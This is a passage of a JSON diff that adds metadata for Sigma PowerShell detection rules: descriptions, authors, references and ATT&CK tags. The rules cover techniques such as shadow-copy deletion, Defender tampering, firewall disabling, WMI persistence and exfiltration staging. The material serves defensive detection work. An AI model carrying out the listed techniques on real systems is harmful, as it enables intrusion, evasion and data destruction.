"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ] + }, + "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", + "value": "Suspicious Connection to Remote Account" + }, + { + "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", + "meta": { + "author": "frack113", + "creation_date": "2022/08/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_new_psdrive.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", + "value": "Suspicious New-PSDrive to Admin Share" + }, + { + "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_proxy_scripts.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", + "value": "Suspicious TCP Tunnel Via PowerShell Script" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", + "meta": { + "author": "frack113", + "creation_date": "2021/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_recon_export.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ] + }, + "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", + "value": "Recon Information for Export with PowerShell" + }, + { + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_remove_adgroupmember.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ] + }, + "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", + "value": "Remove Account From Domain Admin Group" + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/24", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "22d80745-6f2c-46da-826b-77adaededd74", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS" + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_smb_share_reco.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", + "value": "Suspicious Get Information for SMB Share" + }, + { + "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_susp_ssl_keyword.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", + "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ] + }, + "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", + "value": "Suspicious SSL Connection" + }, + { + "description": "Powershell use PassThru option to start in background", + "meta": { + "author": "frack113", + "creation_date": "2022/01/15", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_start_process.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", + "value": "Suspicious Start-Process PassThru" + }, + { + "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/01", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_unblock_file.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ] + }, + "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", + "value": "Suspicious Unblock-File" + }, + { + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_wallpaper.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" + ], + "tags": [ + "attack.impact", + "attack.t1491.001" + ] + }, + "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", + "value": "Replace Desktop Wallpaper by Powershell" + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", + "meta": { + "author": "frack113", + "creation_date": "2021/08/23", + "falsepositive": [ + "Admin script" + ], + "filename": "posh_ps_susp_win32_pnpentity.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ] + }, + "uuid": "b26647de-4feb-4283-af6b-6117661283c5", + "value": "Powershell Suspicious Win32_PnPEntity" + }, + { + "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_win32_shadowcopy.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", + "value": "Delete Volume Shadow Copies via WMI with PowerShell" + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell" + }, + { + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", + "meta": { + "author": "frack113", + "creation_date": "2021/10/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_windowstyle.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.003" + ] + }, + "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", + "value": "Suspicious PowerShell WindowStyle Option" + }, + { + "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/16", + "falsepositive": [ + "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" + ], + "filename": "posh_ps_susp_write_eventlog.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", + "value": "PowerShell Write-EventLog Usage" + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "meta": { + "author": "frack113", + "creation_date": "2021/07/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_zip_compress.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ] + }, + "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", + "value": "Zip A Folder With PowerShell For Staging In Temp" + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, OSCD Community", + "creation_date": "2020/10/05", + "falsepositive": [ + "App-V clients" + ], + "filename": "posh_ps_syncappvpublishingserver_exe.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction" + }, + { + "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", + "meta": { + "author": "frack113, elhoim", + "creation_date": "2022/01/16", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_tamper_defender.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", + "value": "Tamper Windows Defender - ScriptBlockLogging" + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_tamper_defender_remove_mppreference.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", + "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging" + }, + { + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_test_netconnection.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", + "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ] + }, + "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", + "value": "Testing Usage of Uncommonly Used Port" + }, + { + "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/08/03", + "falsepositive": [ + "Legitimate admin script" + ], + "filename": "posh_ps_timestomp.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://www.offensive-security.com/metasploit-unleashed/timestomp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ] + }, + "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", + "value": "Powershell Timestomp" + }, + { + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", + "meta": { + "author": "frack113", + "creation_date": "2021/08/18", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_trigger_profiles.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.013" + ] + }, + "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", + "value": "Powershell Trigger Profiles by Add_Content" + }, + { + "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Legitimate script" + ], + "filename": "posh_ps_upload.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", + "value": "Windows PowerShell Upload Web Request" + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/17", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "filename": "posh_ps_using_set_service_to_hide_services.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS" + }, + { + "description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", + "meta": { + "author": "James Pemberton / @4A616D6573", + "creation_date": "2019/10/24", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "filename": "posh_ps_web_request.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", + "value": "Windows PowerShell Web Request" + }, + { + "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", + "meta": { + "author": "frack113", + "creation_date": "2022/04/24", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_win32_product_install_msi.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", + "value": "PowerShell WMI Win32_Product Install MSI" + }, + { + "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_windows_firewall_profile_disabled.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "http://woshub.com/manage-windows-firewall-powershell/", + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", + "value": "Windows Firewall Profile Disabled" + }, + { + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_winlogon_helper_dll.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ] + }, + "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", + "value": "Winlogon Helper DLL" + }, + { + "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_win_defender_exclusions_added.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", + "value": "Windows Defender Exclusions Added via Powershell" + }, + { + "description": "Detects parameters used by WMImplant", + "meta": { + "author": "NVISO", + "creation_date": "2020/03/26", + "falsepositive": [ + "Administrative scripts that use the same keywords." + ], + "filename": "posh_ps_wmimplant.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/FortyNorthSecurity/WMImplant", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ] + }, + "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", + "value": "WMImplant Hack Tool" + }, + { + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", + "meta": { + "author": "frack113", + "creation_date": "2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_wmi_persistence.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.003" + ] + }, + "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", + "value": "Powershell WMI Persistence" + }, + { + "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_wmi_unquoted_service_search.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", + "value": "WMIC Unquoted Services Path Lookup" + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/19", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_xml_iex.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", + "value": "Powershell XML Execute Command" + }, + { + "description": "Detects shellcode injection by Metasploit's migrate and Empire's psinject", + "meta": { + "author": "Bhabesh Raj", + "creation_date": 